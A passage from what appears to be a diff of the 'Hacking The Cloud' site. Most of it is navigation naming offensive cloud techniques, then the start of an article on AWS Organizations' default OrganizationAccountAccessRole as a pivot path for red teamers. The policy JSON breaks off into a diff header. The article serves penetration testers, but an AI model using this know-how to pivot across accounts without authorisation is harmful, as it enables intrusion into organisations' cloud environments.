1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1 checked> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=true> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#creating-member-accounts-default-organizationaccountaccessrole class=md-nav__link> <span class=md-ellipsis> Creating Member Accounts: Default OrganizationAccountAccessRole </span> </a> </li> <li class=md-nav__item> <a href=#inviting-pre-existing-member-accounts-trusted-access-delegated-administration class=md-nav__link> <span class=md-ellipsis> Inviting Pre-Existing Member Accounts: Trusted Access &amp; Delegated Administration </span> </a> </li> <li class=md-nav__item> <a href=#organization-integrated-features class=md-nav__link> <span class=md-ellipsis> Organization-Integrated Features </span> </a> </li> <li class=md-nav__item> <a href=#helpful-diagram class=md-nav__link> <span class=md-ellipsis> Helpful Diagram </span> </a> </li> <li class=md-nav__item> <a href=#trusted-access class=md-nav__link> <span class=md-ellipsis> Trusted Access </span> </a> </li> <li class=md-nav__item> <a href=#delegated-administration class=md-nav__link> <span class=md-ellipsis> Delegated Administration </span> </a> </li> <li class=md-nav__item> <a href=#iam-access-analyzer-indirect-route class=md-nav__link> <span class=md-ellipsis> IAM Access Analyzer (Indirect Route): </span> </a> </li> <li class=md-nav__item> <a href=#iam-identity-center-direct-route class=md-nav__link> <span class=md-ellipsis> IAM Identity Center (Direct Route) </span> </a> </li> <li class=md-nav__item> <a href=#automated-tools class=md-nav__link> <span class=md-ellipsis> Automated Tools </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#creating-member-accounts-default-organizationaccountaccessrole class=md-nav__link> <span class=md-ellipsis> Creating Member Accounts: Default OrganizationAccountAccessRole </span> </a> </li> <li class=md-nav__item> <a href=#inviting-pre-existing-member-accounts-trusted-access-delegated-administration class=md-nav__link> <span class=md-ellipsis> Inviting Pre-Existing Member Accounts: Trusted Access &amp; Delegated Administration </span> </a> </li> <li class=md-nav__item> <a href=#organization-integrated-features class=md-nav__link> <span class=md-ellipsis> Organization-Integrated Features </span> </a> </li> <li class=md-nav__item> <a href=#helpful-diagram class=md-nav__link> <span class=md-ellipsis> Helpful Diagram </span> </a> </li> <li class=md-nav__item> <a href=#trusted-access class=md-nav__link> <span class=md-ellipsis> Trusted Access </span> </a> </li> <li class=md-nav__item> <a href=#delegated-administration class=md-nav__link> <span class=md-ellipsis> Delegated Administration </span> </a> </li> <li class=md-nav__item> <a href=#iam-access-analyzer-indirect-route class=md-nav__link> <span class=md-ellipsis> IAM Access Analyzer (Indirect Route): </span> </a> </li> <li class=md-nav__item> <a href=#iam-identity-center-direct-route class=md-nav__link> <span class=md-ellipsis> IAM Identity Center (Direct Route) </span> </a> </li> <li class=md-nav__item> <a href=#automated-tools class=md-nav__link> <span class=md-ellipsis> Automated Tools </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Scott Weston & Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/general-knowledge/aws_organizations_defaults.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>AWS Organizations Defaults & Pivoting</h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><aside style=display:flex> <p><a href=https://www.netspi.com/blog/technical/cloud-penetration-testing/pivoting-clouds-aws-organizations-part-1/ >Pivoting AWS Organizations 1</a> &amp; <a href=https://www.netspi.com/blog/technical/cloud-penetration-testing/pivoting-clouds-aws-organizations-part-2/ >Pivoting AWS Organizations 2</a> by <a href=https://www.linkedin.com/in/webbinroot/ >Scott Weston</a></p> <p><a class=glightbox href="https://avatars.githubusercontent.com/u/74038921?v=4" data-type=image data-width=auto data-height=auto data-desc-position=bottom><img src="https://avatars.githubusercontent.com/u/74038921?v=4" alt="Scott Weston" style=width:44px;height:44px;margin-left:10px;border-radius:100%;max-width:unset></a></p> </aside></p> </li> </ul> </div> <p>Almost all mid-to-large sized AWS environments make use of <a href=https://docs.aws.amazon.com/whitepapers/latest/organizing-your-aws-environment/organizing-your-aws-environment.html>multi-account</a> architecture. Using multiple AWS accounts offers a number of <a href=https://docs.aws.amazon.com/whitepapers/latest/organizing-your-aws-environment/benefits-of-using-multiple-aws-accounts.html>benefits</a> and is considered a best practice. To help organize and manage those accounts, AWS offers a service called <a href=https://docs.aws.amazon.com/organizations/latest/userguide/orgs_introduction.html>AWS Organizations</a>.</p> <p>Due to the ubiquity of AWS Organizations, it is important for Penetration Testers and Red Teamers to familiarize themselves with its default configuration. </p> <p>When an account creates an organization it becomes the management account of that organization. Each organization has one management account, and this account effectively "owns" the organization.</p> <h2 id=creating-member-accounts-default-organizationaccountaccessrole>Creating Member Accounts: Default OrganizationAccountAccessRole<a class=headerlink href=#creating-member-accounts-default-organizationaccountaccessrole title="Permanent link">&para;</a></h2> <p>When an account is created through AWS Organizations, it is considered a member of the organization (hence, member account). As a part of this account creation process, AWS Organizations will create a role in the member account called <code>OrganizationAccountAccessRole</code>. This role is created in <a href=https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_accounts_access.html>each member account</a>.</p> <p>By default, the <code>OrganizationAccountAccessRole</code> has the <code>AdministratorAccess</code> policy attached to it, giving the role complete control over the member account. In addition, the default trust policy on the role is as shown below where <code>000000000000</code> is the account ID of the management account.</p> <div class=highlight><pre><span></span><code><span class=p>{</span>
 <span class=w>    </span><span class=nt>&quot;Version&quot;</span><span class=p>:</span><span class=w> </span><span class=s2>&quot;2012-10-17&quot;</span><span class=p>,</span>
 <span class=w>    </span><span class=nt>&quot;Statement&quot;</span><span class=p>:</span><span class=w> </span><span class=p>[</span>
 <span class=w>        </span><span class=p>{</span>
diff --git a/aws/general-knowledge/block-expensive-actions-with-scps/index.html b/aws/general-knowledge/block-expensive-actions-with-scps/index.html
index b3f142264..a3ad0d24d 100644
--- a/aws/general-knowledge/block-expensive-actions-with-scps/index.html
+++ b/aws/general-knowledge/block-expensive-actions-with-scps/index.html
@@ -1,4 +1,4 @@
